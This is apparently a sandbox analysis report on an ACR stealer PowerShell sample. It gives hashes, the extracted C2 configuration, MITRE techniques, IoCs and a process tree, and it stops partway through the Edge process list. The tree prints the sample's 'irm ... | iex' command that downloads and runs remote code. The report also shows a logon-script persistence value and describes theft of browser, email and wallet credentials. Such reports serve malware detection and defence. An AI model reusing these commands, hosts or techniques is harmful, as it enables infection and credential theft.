acrstealer | a276e4a97fc7460d7433769c0e4918ed89376fda72912b96119dac456835ccd4

Analysis

max time kernel
149s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/09/2026, 18:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
089c8e594-4e62-a464-d512b030.ps1
Size 93KB
Sample260926-w15prsyhnd
SHA256 a276e4a97fc7460d7433769c0e4918ed89376fda72912b96119dac456835ccd4
MD5 b0832c1b77a05e13f4264ce9c9fb23a5
SHA1 432d44cb1620b45fab425bae8dd35ef8de9978b6
SHA512 2d33356775c83ce09156337c300d996a42f90b45f39617aa25c1d65d58df8af8a84b8d32bc27e0c1773f74e40a1d1b01aa4d21254cda12663a445295b353c528
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdg9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUnsu
TLSH
T1559323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.2-alpha1

releases.mosswood.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd851-d0e2-7805-ae09-2dd1daa78960
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 3532 created 3248	3532	rundll32.exe	56
PID 3532 created 3248	3532	rundll32.exe	56
PID 3532 created 3248	3532	rundll32.exe	56

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	1892	powershell.exe
20	1892	powershell.exe
23	3532	rundll32.exe
24	3532	rundll32.exe
219	3532	rundll32.exe
224	3532	rundll32.exe
232	680	powershell.exe
233	3532	rundll32.exe
234	3532	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Environment\UserInitMprLogonScript = "\"C:\\Users\\Admin\\AppData\\Roaming\\fb2ea36e4f97\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\fb2ea36e4f97\\Fabrics.a3x\""	powershell.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4012	powershell.exe
680	powershell.exe
1892	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
17	raw.githubusercontent.com
20	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3720	chrome.exe
3704	msedge.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-895009113-1202185046-1686627690-1000\{416A9016-5A14-4D0F-84E8-D0868D18C7A4}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4012	powershell.exe
4012	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
3532	rundll32.exe
3532	rundll32.exe
3532	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4120	msedge.exe
4120	msedge.exe
4120	msedge.exe
4120	msedge.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

description	pid	Process
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeShutdownPrivilege	4500	chrome.exe
Token: SeCreatePagefilePrivilege	4500	chrome.exe
Token: SeDebugPrivilege	680	powershell.exe
Token: SeIncreaseQuotaPrivilege	680	powershell.exe
Token: SeSecurityPrivilege	680	powershell.exe
Token: SeTakeOwnershipPrivilege	680	powershell.exe
Token: SeLoadDriverPrivilege	680	powershell.exe
Token: SeSystemProfilePrivilege	680	powershell.exe
Token: SeSystemtimePrivilege	680	powershell.exe
Token: SeProfSingleProcessPrivilege	680	powershell.exe
Token: SeIncBasePriorityPrivilege	680	powershell.exe
Token: SeCreatePagefilePrivilege	680	powershell.exe
Token: SeBackupPrivilege	680	powershell.exe
Token: SeRestorePrivilege	680	powershell.exe
Token: SeShutdownPrivilege	680	powershell.exe
Token: SeDebugPrivilege	680	powershell.exe
Token: SeSystemEnvironmentPrivilege	680	powershell.exe
Token: SeRemoteShutdownPrivilege	680	powershell.exe
Token: SeUndockPrivilege	680	powershell.exe
Token: SeManageVolumePrivilege	680	powershell.exe
Token: 33	680	powershell.exe
Token: 34	680	powershell.exe
Token: 35	680	powershell.exe
Token: 36	680	powershell.exe
Token: SeIncreaseQuotaPrivilege	680	powershell.exe
Token: SeSecurityPrivilege	680	powershell.exe
Token: SeTakeOwnershipPrivilege	680	powershell.exe
Token: SeLoadDriverPrivilege	680	powershell.exe
Token: SeSystemProfilePrivilege	680	powershell.exe
Token: SeSystemtimePrivilege	680	powershell.exe
Token: SeProfSingleProcessPrivilege	680	powershell.exe
Token: SeIncBasePriorityPrivilege	680	powershell.exe
Token: SeCreatePagefilePrivilege	680	powershell.exe
Token: SeBackupPrivilege	680	powershell.exe
Token: SeRestorePrivilege	680	powershell.exe
Token: SeShutdownPrivilege	680	powershell.exe
Token: SeDebugPrivilege	680	powershell.exe
Token: SeSystemEnvironmentPrivilege	680	powershell.exe
Token: SeRemoteShutdownPrivilege	680	powershell.exe
Token: SeUndockPrivilege	680	powershell.exe
Token: SeManageVolumePrivilege	680	powershell.exe
Token: 33	680	powershell.exe
Token: 34	680	powershell.exe
Token: 35	680	powershell.exe
Token: 36	680	powershell.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4500	chrome.exe
4120	msedge.exe
4120	msedge.exe
6032	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4012 wrote to memory of 4236	4012	powershell.exe	88
PID 4236 wrote to memory of 2152	4236	csc.exe	90
PID 4012 wrote to memory of 2100	4012	powershell.exe	91
PID 2100 wrote to memory of 5024	2100	csc.exe	92
PID 4012 wrote to memory of 1892	4012	powershell.exe	94
PID 1892 wrote to memory of 3532	1892	powershell.exe	102
PID 1892 wrote to memory of 3532	1892	powershell.exe	102
PID 3532 wrote to memory of 4500	3532	rundll32.exe	105
PID 4500 wrote to memory of 1204	4500	chrome.exe	106
PID 4500 wrote to memory of 4868	4500	chrome.exe	107
PID 4500 wrote to memory of 4868	4500	chrome.exe	107
PID 4500 wrote to memory of 3720	4500	chrome.exe	108
PID 4500 wrote to memory of 5072	4500	chrome.exe	109
PID 4500 wrote to memory of 5072	4500	chrome.exe	109
PID 4500 wrote to memory of 3208	4500	chrome.exe	111
PID 4500 wrote to memory of 3088	4500	chrome.exe	112
PID 4500 wrote to memory of 3208	4500	chrome.exe	111
PID 4500 wrote to memory of 3088	4500	chrome.exe	112
PID 4500 wrote to memory of 4568	4500	chrome.exe	113
PID 4500 wrote to memory of 4568	4500	chrome.exe	113
PID 4500 wrote to memory of 2368	4500	chrome.exe	114
PID 3532 wrote to memory of 4120	3532	rundll32.exe	116
PID 4120 wrote to memory of 3800	4120	msedge.exe	117
PID 4120 wrote to memory of 3704	4120	msedge.exe	118
PID 4120 wrote to memory of 432	4120	msedge.exe	119
PID 4120 wrote to memory of 432	4120	msedge.exe	119
PID 4120 wrote to memory of 432	4120	msedge.exe	119
PID 4120 wrote to memory of 2380	4120	msedge.exe	120
PID 4120 wrote to memory of 2380	4120	msedge.exe	120
PID 4120 wrote to memory of 5160	4120	msedge.exe	122
PID 4120 wrote to memory of 5160	4120	msedge.exe	122
PID 4120 wrote to memory of 5168	4120	msedge.exe	123
PID 4120 wrote to memory of 5160	4120	msedge.exe	122
PID 4120 wrote to memory of 5168	4120	msedge.exe	123
PID 4120 wrote to memory of 5168	4120	msedge.exe	123
PID 4120 wrote to memory of 5288	4120	msedge.exe	124
PID 4120 wrote to memory of 5288	4120	msedge.exe	124
PID 4120 wrote to memory of 5288	4120	msedge.exe	124
PID 4120 wrote to memory of 5296	4120	msedge.exe	125
PID 4120 wrote to memory of 5296	4120	msedge.exe	125
PID 4120 wrote to memory of 5296	4120	msedge.exe	125
PID 4120 wrote to memory of 5504	4120	msedge.exe	126
PID 4120 wrote to memory of 5504	4120	msedge.exe	126
PID 4120 wrote to memory of 5196	4120	msedge.exe	128
PID 4120 wrote to memory of 3996	4120	msedge.exe	129
PID 4120 wrote to memory of 5196	4120	msedge.exe	128
PID 4120 wrote to memory of 3996	4120	msedge.exe	129
PID 4120 wrote to memory of 5712	4120	msedge.exe	132
PID 4120 wrote to memory of 5976	4120	msedge.exe	133
PID 4120 wrote to memory of 5976	4120	msedge.exe	133
PID 4120 wrote to memory of 2368	4120	msedge.exe	134
PID 4120 wrote to memory of 2368	4120	msedge.exe	134
PID 4120 wrote to memory of 1564	4120	msedge.exe	135
PID 4120 wrote to memory of 1564	4120	msedge.exe	135
PID 4120 wrote to memory of 5080	4120	msedge.exe	136
PID 4120 wrote to memory of 5080	4120	msedge.exe	136
PID 4120 wrote to memory of 4164	4120	msedge.exe	137
PID 4120 wrote to memory of 4164	4120	msedge.exe	137
PID 5988 wrote to memory of 6032	5988	firefox.exe	140
PID 5988 wrote to memory of 6032	5988	firefox.exe	140
PID 6032 wrote to memory of 5620	6032	firefox.exe	141
PID 6032 wrote to memory of 5620	6032	firefox.exe	141
PID 6032 wrote to memory of 5620	6032	firefox.exe	141
PID 6032 wrote to memory of 5620	6032	firefox.exe	141

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\089c8e594-4e62-a464-d512b030.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aezmv44x\aezmv44x.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5E19.tmp" "c:\Users\Admin\AppData\Local\Temp\aezmv44x\CSC9960AC01574D43AB919344F7F560217.TMP"
      4⤵
      PID:2152
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rpx0ln33\rpx0ln33.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5ED4.tmp" "c:\Users\Admin\AppData\Local\Temp\rpx0ln33\CSC2E50244EC914F2B9192213908E1849.TMP"
      4⤵
      PID:5024
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/dsteru3421/559f-2414-494a-8560-23ce5908/refs/heads/main/eea997-d7e6-43f3-a5bd | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1892
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:3532
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -Command -
        5⤵
        Badlisted process makes network request
        Registers new Windows logon scripts automatically executed at logon.
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:680
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9e635c728,0x7ff9e635c734,0x7ff9e635c740
    3⤵
    PID:1204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1720,i,10393906038086360200,17181200517269134293,262144 --field-trial-handle=1992,i,7804941301843370302,12175709972285408360,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1984 /prefetch:2
    3⤵
    PID:4868
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,17683497661220333404,5883957987272954261,524288 --field-trial-handle=1992,i,7804941301843370302,12175709972285408360,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2232 /prefetch:3
    3⤵
    - System Time Discovery
    PID:3720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,1122552781647310179,1896851168493322057,524288 --field-trial-handle=1992,i,7804941301843370302,12175709972285408360,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2520 /prefetch:8
    3⤵
    PID:5072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3144,i,16357037277315792885,13713092980201388645,2097152 --field-trial-handle=1992,i,7804941301843370302,12175709972285408360,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3148 /prefetch:1
    3⤵
    PID:3208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,11548218826610764005,12111642061082629580,2097152 --field-trial-handle=1992,i,7804941301843370302,12175709972285408360,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3272 /prefetch:1
    3⤵
    PID:3088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4400,i,6094920173769867409,7423183188655125100,2097152 --field-trial-handle=1992,i,7804941301843370302,12175709972285408360,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4420 /prefetch:1
    3⤵
    PID:4568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5204,i,13681680162672688415,3405463663184255708,524288 --field-trial-handle=1992,i,7804941301843370302,12175709972285408360,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5212 /prefetch:8
    3⤵
    PID:2368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x32c,0x7ff9d73dc188,0x7ff9d73dc194,0x7ff9d73dc1a0
    3⤵
    PID:3800
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1796,i,330734201292964755,15385760130307712735,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:3
    3⤵
    - System Time Discovery
    PID:3704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
